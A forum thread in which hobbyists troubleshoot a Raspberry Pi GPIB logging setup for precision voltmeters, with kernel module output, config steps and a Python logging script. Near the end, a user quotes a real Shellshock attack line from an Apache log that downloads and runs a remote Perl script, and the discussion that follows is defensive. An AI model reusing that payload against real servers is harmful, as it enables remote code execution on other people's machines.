Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

That message seems more like one or both of these:

1: gpib_config has not been run, after the adapter initialization.
2: User has no access to /dev/gpib0  - Do a : sudo chmod 666 /dev/gpib*

What does a lsusb say ?

What does a uname -a say ?

/Bingo

thx for hints :-+
there is no gpib in dev

You do not have firmware in device loaded. With loaded FW PID will be not 518 but 718. But anyway, this interface is not currently working. You needs to use USBTMC, VXI
 or another proven adapters like NI GPIB USB HS, NI GPIB USB B, E5810 A/B.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 31, 2016, 09:50:54 pm

thx for hints :-+
there is no gpib in dev

As Plesa says , you need to load the firmware twice.

And have you loaded the kernel module module ?

You should see this

Quote
If "lsmod |grep agilent" shows these two lines:
pi@pi3:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

If not , what does : sudo modprobe agilent_82357a           say ?

Does the lsmod show the module loaded after this ??

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on December 31, 2016, 11:25:19 pm
Thank you guys  8)
@plesa : are you sure that this doesn't work at all? I have original one.

After loading firmware twice I got gpib0-15 in dev.
And on the adapter Access and Ready lights to green, but also Fail led is on (red). See pictures.

Code: [Select]
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

result of lsmod



Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 31, 2016, 11:27:18 pm
What lsusb and modprobe results? :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on December 31, 2016, 11:28:28 pm
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a

Code: [Select]
pi@raspberrypi:~ $ modprobe agilent_82357a
pi@raspberrypi:~ $ lsmod
Module                  Size  Used by
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a
bnep                   10340  2
8192cu                560049  0
cfg80211              427855  1 8192cu
btusb                  27628  0
btrtl                   3667  1 btusb
btintel                 6167  1 btusb
btbcm                   5929  1 btusb
bluetooth             326105  24 bnep,btbcm,btrtl,btusb,btintel
rfkill                 16037  4 cfg80211,bluetooth
evdev                  11396  2
joydev                  9024  0
snd_bcm2835            20447  1
snd_pcm                75762  1 snd_bcm2835
snd_timer              19288  1 snd_pcm
snd                    51908  5 snd_bcm2835,snd_timer,snd_pcm
bcm2835_gpiomem         3040  0
i2c_bcm2708             4834  0
bcm2835_wdt             3225  0
rpi_ft5406              3986  0
rpi_backlight           2064  0
uio_pdrv_genirq         3164  0
uio                     8000  1 uio_pdrv_genirq
i2c_dev                 5859  0
fuse                   84037  3
ipv6                  347594  56
pi@raspberrypi:~ $

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 31, 2016, 11:32:30 pm
:) I meant separately :)

Did you run gpib_config? Show us your /etc/gpib.conf, make us not guess :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on December 31, 2016, 11:35:20 pm
pi@raspberrypi:~ $ lsmod |grep agilent
agilent_82357a         18039  0
gpib_common            31540  1 agilent_82357a
Once again, this adapter is not working with Linux-GPIB and recent kernels 4.4 -4.9.Does not matter if it is clone or genuine ( I have Keysight genuine version and clone)
When solution will be ready Bingo600 or me will inform in this thread.
Maybe you can be successful with Arduino adapter.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on December 31, 2016, 11:41:43 pm
:) I meant separately :)

Did you run gpib_config? Show us your /etc/gpib.conf, make us not guess :)
No :) but there is no section for agilent_82357a
Have you an example?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on December 31, 2016, 11:46:09 pm
I heard these guys at xDevs have a guide (https://xdevs.com/guide/agilent_gpib_rpi/). But listed procedure there works only on Pi with kernels 3.8.xx
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on December 31, 2016, 11:50:51 pm
I heard these guys at xDevs have a guide (https://xdevs.com/guide/agilent_gpib_rpi/). But listed procedure there works only on Pi with kernels 3.8.xx
@TiN
 ;) Promoting


Re Error:
If the read light are on , you either missed some of the firmware stuff , or you haven't run gpib_config after loading the fw.
Or maybe have an invalid (unadapted) /etc/gpib.conf file.
See
https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg964579/#msg964579 (https://www.eevblog.com/forum/reviews/using-a-raspberry-pi-with-linux-gpib-and-a-beiming-or-agilent-usb-gpib-adapter/msg964579/#msg964579)


My guess - gpib_config or gpib.conf  related.

Do you have the /dev/gpib* devices now ??
Make sure to chmod 666 them , or as a test run as root


/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on December 31, 2016, 11:56:29 pm
Ok I update gpib.conf and run and red light is gone  8)

Code: [Select]
pi@raspberrypi:~ $ sudo nano /etc/gpib.conf
pi@raspberrypi:~ $ sudo gpib_config
pi@raspberrypi:~ $


Now only ready is green  :-+

I tried to run some test but  failed :(
Code: [Select]
Traceback (most recent call last):
  File "/pub/python/Test_GPIB.py", line 5, in <module>
    instr.write("*IDN?")
  File "/usr/local/lib/python2.7/dist-packages/Gpib.py", line 49, in write
    gpib.write(self.id, str)
GpibError: write() failed: An attempt to write command bytes to the bus has timed out.

Should be that my 34401A is not configured properly?
Address is OK. And after test 34401 is frozen only some underscores are in place of digits.


Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 01, 2017, 12:41:13 am
Everything is OK with your 34401, it's just you end up in same state as everyone else here are :)
Meter is "frozen" because it's in remote mode. Press local button to warm it back to normal.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on January 01, 2017, 12:54:52 am
Everything is OK with your 34401, it's just you end up in same state as everyone else here are :)
Meter is "frozen" because it's in remote mode. Press local button to warm it back to normal.

Thank you for words of encouragement :D
Do you know roughly where is the problem? Is it only for 34401 or it's common problem of 82357a?

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 01, 2017, 12:57:44 am
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on January 01, 2017, 01:21:20 am
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

Thx for explanation. It means at 3.8 it's working fine, sure?
I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the business :)
Well I think It's time to try 3.8 for my solution, till here some experts solve this problem  :box:
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 01, 2017, 01:47:45 am
Common problem with 82357A/Bs + linux-gpib + kernels 4.x.x series.
Something in linux kernel headers or kernel itself got change from 3.8->4.x which caused these agilent pods (real ones and fakes) to timeout on any gpib operation.

Thx for explanation. It means at 3.8 it's working fine, sure?
I'm not familiar with linux too much, but maybe compare the changes 3.8->4.x would do the business :)
Well I think It's time to try 3.8 for my solution, till here some experts solve this problem  :box:

Note that kernel 3.8 (Wheezy) won't work on a RasPI v3 , you need a v1 or v2

We're  working with the linux-gpib maintainer to find the problem on the 4.x.x kernels (Jessie)

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 01, 2017, 05:01:03 am
I received my RPi earlier this week!  I was able do successfully install the V2 of the rpi lognut image and booted up.  RPi and Linux is brand new to me, so it's a bit overwhelming :palm:.  I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.  :scared:

I've yet to test any GPIB instrument connections.  I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 01, 2017, 05:54:50 am
I received my RPi earlier this week!  I was able do successfully install the V2 of the rpi lognut image and booted up.  RPi and Linux is brand new to me, so it's a bit overwhelming :palm:.  I figured having experience with Arduino and PICs that RPi would come somewhat easily.... well I was wrong.  :scared:

I've yet to test any GPIB instrument connections.  I've got a genuine HP 82357B and NI GPIB-USB-HS to use... although it seems like the HP 82357B is having issues with the current iteration the RPi kernel?

It is easy. 82357B is not working and image is set for NI GPIB HS. On image is /pub directory shared over samba (you can connect as network drive from another machine and edit webpage and scripts).
There is running webserver, so just check in you browser ( webserver use the /pub/www directory ). There are few basic scripts for test and also for logging (3458A,K2001,3441xA, 34401A and for enviromet BME_log.py).
All these scripts  log are plotted on website.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on January 01, 2017, 06:00:50 am
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 01, 2017, 09:41:49 am
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: VintageNut on January 01, 2017, 10:32:50 am
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.

You can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.

Does your Gpib module have a .py extension?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 01, 2017, 10:36:28 am
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Run sudo gpib_config and after that execute scripts.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 01, 2017, 11:06:44 am
I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.
Run sudo gpib_config and after that execute scripts.

Was finally able to execute the scripts in the IDLE and I don't think that is what I was looking for.  Moving on.. lol.  So, I just accessed the webserver and am looking at the real time data log tests.  This data I'm looking at can't be mine right?  I haven't initiated any logs yet.


I'm trying to run the 3458A Log script in python.  There were a few nonsensical syntax errors that I needed to fix, but after that, it's just stating

ImportError:  No module named 'Gpib'.

I've checked my lsub and it shows my NI usb-gpib.

You can type in python commands from the command prompt one at a time when you are trying something for the first time. That allows you to see which statement is throwing the error.

Does your Gpib module have a .py extension?

I am not sure.  I was just trying to run the provided script in the Python IDLE.




*Edit   Alright sorry for the hassle.  I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely.  I've been able to connect with putty and control it with my laptop and started logging!  Atleast I think I did.  Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on January 01, 2017, 12:06:37 pm
*Edit   Alright sorry for the hassle.  I Think I've figured it out and kind of wrapped my head around how to go about interfacing RPi remotely.  I've been able to connect with putty and control it with my laptop and started logging!  Atleast I think I did.  Can't do much in the command prompt after I executed the script... but my 3458A went into remote mode.

When you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on January 01, 2017, 12:29:09 pm
Not enough place :D (RPi 2 B+,7" LCD, Agilent 82357B, Bluetooth kbrd and mouse )
It's not working for now with Agilent 82357B, but it's only few minutes from start. (tuning is in progress) :)
Funny moment's with this keyboard (it is shit) :D (how to put the #? ou yes ctrl + alt + u and 23 )

82357B is not working, but we hope it will be fixed soon.
Maybe you can try to use different adapter like http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html (http://egirland.blogspot.cz/2014/03/arduino-uno-as-usb-to-gpib-controller.html)

I got the Arduino going as a GPIB interface.   Just have to get the GPIB connector made to connect to my Rigol DM3068.

pi@raspberrypi:~ $ sudo bash connect2.sh /dev/ttyACM0 115200
++verbose
verbose: ON^M
^M
> ++ver
ARDUINO GPIB firmware by E. Girlando Version 6.1^M
^M
> ++info
Dwaine's Arduino Uno Rev 3 GPIB Device^M
^M
>
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 01, 2017, 08:24:24 pm
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

@Steve
Would you care to elaborate a bit ?

Especially where/how to get the initial raspbian image ?

Did you follow TiN's guide 100%, he specifically specifies get headers for a 3.x kernel
https://xdevs.com/guide/agilent_gpib_rpi/ (https://xdevs.com/guide/agilent_gpib_rpi/)

This is the first time i have heard actuall confirmation that a kernel 4.x works w. an Agilent

I have an original Raspi 512Mb (v1) , and tried somewhat the same here
https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160 (https://www.eevblog.com/forum/metrology/raspberry-pi23-logging-platform-for-voltnuts/msg1093160/#msg1093160)

But my initial image was Noobs 1.41, meaning i ended up with a 3.x kernel.


/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on January 01, 2017, 09:32:04 pm
I followed TiN's guide located here:
https://xdevs.com/guide/agilent_gpib_rpi/ (https://xdevs.com/guide/agilent_gpib_rpi/)
At the time I hadn't read this thread and knew nothing about any incompatibilities.

On my first try I started with raspbian jessie lite from here:
https://www.raspberrypi.org/downloads/raspbian/ (https://www.raspberrypi.org/downloads/raspbian/)

I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.
So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:
https://downloads.raspberrypi.org/raspbian_lite/images/ (https://downloads.raspberrypi.org/raspbian_lite/images/)
edit - the specific build I used is "2016-05-27-raspbian-jessie-lite"

It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.

If I got any errors a long the way it was nothing major.
It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.
I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.
Give it a try, I am sure it will work for you, if not we'll figure it out.
As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 02, 2017, 02:04:29 am
I followed TiN's guide located here:
https://xdevs.com/guide/agilent_gpib_rpi/ (https://xdevs.com/guide/agilent_gpib_rpi/)
At the time I hadn't read this thread and knew nothing about any incompatibilities.

On my first try I started with raspbian jessie lite from here:
https://www.raspberrypi.org/downloads/raspbian/ (https://www.raspberrypi.org/downloads/raspbian/)

I downloaded the newest version, it booted up but I couldn't login remotely as it appears to have sshd disabled by default - I run all of my raspberry pi's headless - no keyboard, monitor or mouse.
So I used an older build I already had downloaded for a different pi project. It was from May of 2016. You can find the older versions here:
https://downloads.raspberrypi.org/raspbian_lite/images/ (https://downloads.raspberrypi.org/raspbian_lite/images/)

It booted right away and I was able to login remotely via ssh. I then pretty much followed TiN's howto substituting the proper kernel name etc as I went.

If I got any errors a long the way it was nothing major.
It has been working great ever since. I have had over 12 solid days of logging using some of TiN's sample python scripts that I modified a little. It hasn't crashed or had a single issue.
I am using an original generation pi, model B with 512 megs ram and an authentic 82357B.
Give it a try, I am sure it will work for you, if not we'll figure it out.
As a last ditch if needed I can make the exact image I used available for download. If your pi has a keyboard/monitor I would start by trying the newest version though.

I tried several combinations RPI2/RPI3 and genuine and clone 82357B adapter without success. I used only the latest linux-gpib (4.0.3-r1) and gpib_firmware-2008-08-10
Oldest Raspbian ( 2016-02-09-raspbian-jessie.zip pdated of course but with kernel 4.1.17  )till 4.9 not working
Gentoo running on RPi2/RPI3 with kernels from 3.18  to 4.9 are not working.


Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 02, 2017, 06:11:59 pm
Well, I can't say I am surprised by theSteve's result - it did work once for me but I was never able to recreate it. Upon reboot it never worked again. At the time I thought it had to do with the pyVisa TiN installs at the end but even that did not work when I tried to reinstall.

It may have to do with one of the package updates/upgrade. I guess the moral of the story is if it works don't touch it (no updates no upgrades!)...
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: BFX on January 02, 2017, 08:13:20 pm
As a last ditch if needed I can make the exact image I used available for download.
Please do that.

In the meantime I'll try to recreate my again.
It's fantastic news. :-+
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Assafl on January 02, 2017, 08:38:45 pm
As a last ditch if needed I can make the exact image I used available for download.
Please do that.

^ +1  :-+
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 02, 2017, 10:11:55 pm
Just got some more info from Steve

Quote
Kernel 4.x still works with the 82357x but only if you're using an original raspberry pi.
With kernel "Linux gpib 4.4.0-1-rpi #1 Debian 4.4.6-1+rpi14 (2016-05-05) armv6l GNU/Linux" and an original model B pi I've never lost communication with my 3458A using an original 82357B.
I set this up using TiN's howto on xdevs. The image that does graphing and has a web server would be a lot more fun though.

I used - 2016-05-27-raspbian-jessie-lite

pi@gpib:~ $ gpib_config -v
linux-gpib version = 4.0.3 [r1652]

This seems like the latest SVN , at least just before Xmas

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: guenthert on January 03, 2017, 06:06:21 am
[..]
When you run something from a shell(command prompt) it will typically "hold on to" the window. You can add an & after the command to have it run in the background. Right now if you loose your ssh/telnet connection to the pi the program/logging will also stop, if you add the & it will keep going.
That is generally not the case as the program to be started is connected to STDIN (the input from the current terminal session unless otherwise specified).  If you disconnect, programs started in that terminal session receive SIGHUP, which causes them to terminate (unless they specified a non-default signal handler).

You can let commands keep running in the background after you disconnect, by using the (standard) 'nohup' utility as follows:
`nohup your-program &`.

If you plan to reattach to that terminal session (e.g. if your network connection is unreliable), an utility like 'screen' (included in Debian/Raspbian, but sadly not installed by default) is needed.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TheSteve on January 03, 2017, 06:18:41 am
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 03, 2017, 06:41:29 am
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

I;m also using screen and it is preinstalled in image.
Basic usage:
sudo screen -S BME280      for run new screen seesiona named BME280 where you can execure for instance ./BME_Log.py, when script is running properly, by pressing Crtl+A followed by D session will be                disconnected
sudo screen -list                  will give you list of running sessions and their status
sudo screen -R BME280      will attach the screen called BME280.xxx

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: z01z on January 03, 2017, 07:35:26 am
A small mod to the BME_Log.py script so that it runs with only one sensor present.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: linux-works on January 03, 2017, 07:43:58 am
Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

screen is old and had bugs.

try tmux.  I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 03, 2017, 10:11:42 am
A small mod to the BME_Log.py script so that it runs with only one sensor present.

Thanks, I will put it to Github and to next image.

Fair enough - there are some caveats to using it. Using "screen" probably is the best option for people - I've been using it for 20 years now.

screen is old and had bugs.

try tmux.  I'm a many year screen person, too, but tmux is what everyone at work seems to be using, with good success, and more features.
I'm using screen for while and do not have reason to change it. I will give a try to tmux :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on January 03, 2017, 10:21:27 am
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 03, 2017, 11:36:22 am
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

It is in my plans, please be patient :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on January 04, 2017, 12:10:14 am
Thanks, I will put it to Github and to next image.


Maybe you should merge the open pull request, so that it doesn't run out of sync for too long, there were some changes from other people as well:

https://github.com/PlesaEEVBlog/RPi_LogNut/pulls

It is in my plans, please be patient :)

You know it is only one click in Github, if you agree with the commits? :)
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 04, 2017, 02:17:25 am
I tweaked the logging script slightly that was provided with the LogNut image and I am getting a "Command not found" return error.  And now for some reason, I am getting an error when trying to run the original script that was provided.  I have not altered the provided script in any way.

Anyone know what could be causing this?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: TiN on January 04, 2017, 02:36:21 am
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 04, 2017, 02:46:09 am
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now. 
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 04, 2017, 03:55:25 am
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now.

If you put #!/usr/bin/python2 as a first row of script you can omit python  and execute only by ./3458A_Log.py

BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 04, 2017, 03:57:58 am
quote author=CalMachine link=topic=77301.msg1105349#msg1105349 date=1483458369]
Try to enter /pub/python/ directory with actual .py file and run python ./3458A_Log.py.
ooo!!! Thank you so much!  I was missing the 'python' part in the command.  I think I've got it working now.
[/quote]

If you put #!/usr/bin/python2 as a first row of script you can omit python  and execute only by ./3458A_Log.py

BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.

You know it is only one click in Github, if you agree with the commits? :)
Yes, but I would like to review it and test it, so it takes more time.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 04, 2017, 06:32:40 am
BTW what di you changes in script, is it something for all us us? I'm put there there notification when internal temperature is increased something like "Clean filter".
Also found in different thread here this application made by member here for 3457A, which can be probably modified to 3458A.
It use the Arduino GPIB.

I came to share my tweaks and when I copy pasted it, I noticed something I messed up... which led me to scrutinise the code more.  The tweaks I made were completely unnecessary, I feel.  I had added just a single measurement every so often of one of my 10V Standards, but then I noticed at the bottom you already had code that did just that.

Is there an easy way I can go about stopping a script that is currently running?
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: plesa on January 04, 2017, 07:02:07 am
Press Ctrl+C
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on January 04, 2017, 04:57:54 pm
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl (http://139.59.246.200/so.pl) -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod (http://139.59.246.200/so.pl;chmod) +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: FrankBuss on January 04, 2017, 07:14:28 pm
Looks pretty harmless to me. The shell code is in the user-agent field, but it is not executed. I just tested it like this:

Code: [Select]
wget --user-agent="() { :;}; /bin/bash -c \"wget localhost - O /tmp/test\"" localhost

and the file /tmp/test was not created, at least not on my Debian PC, didn't test it on the Raspberry Pi so far (don't have access to it at the moment), but in the Apache access log it looks very similar to your line. Looks like there is some HTTP server out there which executes the user-agent field with this special text, which is really stupid.

If you don't need to access the Raspberry Pi from the internet, you should not make it accessible from the internet (e.g. with a NAT rule). If it is accessible from the internet, there are other things you have to take care of, like only allow to access port 80, otherwise someone could hack it with the default password for the ssh-login or the samba directory export. Note: changing the password for the pi-user doesn't change the password for the samba access. Maybe in the readme of the distribution some security notes should be added.

And maybe better to use something like Lighttpd instead of Apache? I use this on my internet server, because it has a better security history than Apache and it is not as heavy.
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: Dwaine on January 05, 2017, 12:53:05 am
I saw the 200 code and wonder if it was really successful or not.  The rm command would of wiped out the perl script.  But testing like you did, proves it was not successful.

Greeezzzz....  These BOT people really ruin things on the Internet...

Dwaine

Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: bingo600 on January 07, 2017, 05:57:07 am
Anybody else getting this in their apache logs?  That's bad....

95.110.166.62 - - [03/Jan/2017:10:31:17 -0500] "GET / HTTP/1.0" 200 1434 "-" "() { :;}; /bin/bash -c \"wget http://139.59.246.200/so.pl (http://139.59.246.200/so.pl) -O /tmp/so.pl;curl -o /tmp/so.pl http://139.59.246.200/so.pl;chmod (http://139.59.246.200/so.pl;chmod) +x /tmp/so.pl;perl /tmp/so.pl;rm -rf /tmp/so.pl*\""

Could originate from here
http://www.nothink.org/honeypot_web_user_agent.txt (http://www.nothink.org/honeypot_web_user_agent.txt)

/Bingo
Title: Re: Raspberry Pi2/3 logging platform for Voltnuts
Post by: CalMachine on January 07, 2017, 06:34:23 am
Here is my slightly tweaked code from the logging code that was provided.  Whenever I try to run the script, it only seems to work about half of the time... 

The half of the time where it does seems like it is doing its thing and looping properly and triggering measurements, but not logging properly.  It will just print out data taken over a certain amount of time, all at once. 

The other half it seems like it just gets hung up on the inst.write("ID?") for reason.   :scared:

I commented out the ACAL portion because with that part in there, I couldn't even get any measurements to take place.


Code: [Select]
# Python script for logging 10V DC Standard on 3458A with automatic ACAL
import os.path
import sys
import Gpib
import time

# 3458A GPIB Address = 22
inst = Gpib.Gpib(0,22, timeout=120)
inst.clear() 
inst.write("ID?")
print(inst.read())

LogDir = '/pub/logs/'
LogFile= LogDir + 'LES289+175.csv'
##LogFile_ACAL= LogDir + '3458A_ACAL_DCV_Log.csv'

# Setup HP 3458A
inst.write("PRESET NORM")
inst.write("OFORMAT ASCII")
inst.write("NPLC 100")
inst.write("NRDGS 1")
inst.write("NDIG 9")
inst.write("TARM auto")
inst.write("DCV 10")
inst.write("RES 0.00000001")

# ACAL reference temperature
##ACAL_Temperature = 42.4
##ACAL_Counter = 0
# Perform ACAL if internal temperature differce is bigger than 1K
ACAL_Treshold = 1 # every 1 deg C
ACAL_TimeInterval = 86400 # every 24h=86400

reflevel = 9.9999479

ppm = 0
tRead = 1
##Last_ACAL_TimeStamp = 0
##TempMeasurement_Interval = 500

# Check file presence, write header
if (os.path.isfile(LogFile) == False):
  with open(LogFile, 'a') as MeterLog:
    MeterLog.write("TimeStamp,Voltage,Temperature,ppm\r\n")
    MeterLog.close()
   
# Check ACAL file presence, write header
##if (os.path.isfile(LogFile_ACAL) == False):
 ## with open(LogFile_ACAL, 'a') as ACALLog:
 ##   ACALLog.write("TimeStamp,DCV_Gain,Temperature\r\n")
 ##   ACALLog.close()
   
while True:
  with open(LogFile, 'a') as MeterLog:
    ##tRead = tRead - 1
    ##if (tRead == 0):
    ##  tRead = TempMeasurement_Interval
    ##  inst.write("TARM Autokr ")
   ##   inst.write("TEMP?")
   ##   Temperature = float(inst.read())
   ## if (abs(ACAL_Temperature - Temperature) >= ACAL_Treshold) or (time.time() - Last_ACAL_TimeStamp >= ACAL_TimeInterval):
   ##     print('Temperature or time difference since last ACAL is higher than set treshold %.1f C / %d s') %(float(ACAL_Treshold),ACAL_TimeInterval)
   ##     print('Since start ACAL performed %.0f times') %float(ACAL_Counter)
   ##     print('Performing ACAL DCV, it will takes 3 minutes')
   ##     ACAL_Counter+=1
   ##     inst.write("ACAL DCV")
   ##     Last_ACAL_TimeStamp = time.time()
   ##     time.sleep(180)
   ##     inst.write("CAL? 72")
   ##     DCV10Gain = float(inst.read())
   ##     ACAL_Temperature = Temperature
   ##     print("Internal Temperature = %2.1f")%float(Temperature)
